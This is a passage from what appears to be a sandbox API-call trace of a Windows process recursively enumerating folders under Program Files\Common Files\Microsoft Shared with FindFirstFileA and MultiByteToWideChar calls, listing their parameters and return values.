Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb757a420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb757a420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0034.149] AreFileApisANSI () returned 1 [0034.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0034.150] GetFileType (hFile=0xc8) returned 0x1 [0034.151] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xb757a420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb757a420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.151] AreFileApisANSI () returned 1 [0034.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0034.155] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb757a420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb757a420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.156] AreFileApisANSI () returned 1 [0034.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0034.156] AreFileApisANSI () returned 1 [0034.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0034.156] AreFileApisANSI () returned 1 [0034.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0034.156] AreFileApisANSI () returned 1 [0034.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0034.157] AreFileApisANSI () returned 1 [0034.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0034.157] AreFileApisANSI () returned 1 [0034.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0034.157] AreFileApisANSI () returned 1 [0034.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0034.157] AreFileApisANSI () returned 1 [0034.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0034.158] AreFileApisANSI () returned 1 [0034.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0034.159] AreFileApisANSI () returned 1 [0034.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0034.159] AreFileApisANSI () returned 1 [0034.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0034.159] AreFileApisANSI () returned 1 [0034.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0034.159] AreFileApisANSI () returned 1 [0034.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0034.160] AreFileApisANSI () returned 1 [0034.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0034.160] AreFileApisANSI () returned 1 [0034.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0034.161] AreFileApisANSI () returned 1 [0034.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0034.161] AreFileApisANSI () returned 1 [0034.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0034.161] AreFileApisANSI () returned 1 [0034.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0034.162] AreFileApisANSI () returned 1 [0034.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0034.163] AreFileApisANSI () returned 1 [0034.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0034.164] AreFileApisANSI () returned 1 [0034.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0034.164] AreFileApisANSI () returned 1 [0034.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0034.164] AreFileApisANSI () returned 1 [0034.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0034.164] AreFileApisANSI () returned 1 [0034.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0034.165] AreFileApisANSI () returned 1 [0034.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42cb30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0034.165] AreFileApisANSI () returned 1 [0034.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0034.168] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xb75a0580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75a0580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.168] AreFileApisANSI () returned 1 [0034.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0034.168] GetFileType (hFile=0xc4) returned 0x1 [0034.169] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb75a0580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75a0580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.170] AreFileApisANSI () returned 1 [0034.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0034.173] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75a0580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75a0580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0034.173] AreFileApisANSI () returned 1 [0034.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.176] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75a0580, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75a0580, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.177] AreFileApisANSI () returned 1 [0034.177] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0034.178] GetFileType (hFile=0xc4) returned 0x1 [0034.178] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75c66e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75c66e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.179] AreFileApisANSI () returned 1 [0034.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0034.180] GetFileType (hFile=0xc4) returned 0x1 [0034.180] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75c66e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75c66e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.181] AreFileApisANSI () returned 1 [0034.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0034.182] GetFileType (hFile=0xc4) returned 0x1 [0034.183] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75c66e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75c66e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.183] AreFileApisANSI () returned 1 [0034.183] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.186] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75c66e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75c66e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.186] AreFileApisANSI () returned 1 [0034.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.189] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75c66e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75c66e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.189] AreFileApisANSI () returned 1 [0034.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.192] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75c66e0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75c66e0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.192] AreFileApisANSI () returned 1 [0034.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0034.193] GetFileType (hFile=0xc4) returned 0x1 [0034.194] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75ec840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75ec840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.195] AreFileApisANSI () returned 1 [0034.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0034.196] GetFileType (hFile=0xc4) returned 0x1 [0034.197] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75ec840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75ec840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.197] AreFileApisANSI () returned 1 [0034.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.200] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75ec840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75ec840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.201] AreFileApisANSI () returned 1 [0034.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0034.202] GetFileType (hFile=0xc4) returned 0x1 [0034.203] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75ec840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75ec840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.203] AreFileApisANSI () returned 1 [0034.203] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0034.204] GetFileType (hFile=0xc4) returned 0x1 [0034.205] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75ec840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75ec840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.205] AreFileApisANSI () returned 1 [0034.205] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.208] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb75ec840, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb75ec840, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.208] AreFileApisANSI () returned 1 [0034.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.211] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76129a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76129a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.212] AreFileApisANSI () returned 1 [0034.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0034.213] GetFileType (hFile=0xc4) returned 0x1 [0034.214] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76129a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76129a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.214] AreFileApisANSI () returned 1 [0034.214] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0034.215] GetFileType (hFile=0xc4) returned 0x1 [0034.216] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76129a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76129a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.216] AreFileApisANSI () returned 1 [0034.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0034.217] GetFileType (hFile=0xc4) returned 0x1 [0034.218] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76129a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76129a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.218] AreFileApisANSI () returned 1 [0034.218] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0034.221] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb76129a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb76129a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf8, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0034.222] AreFileApisANSI () returned 1 [0034.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, 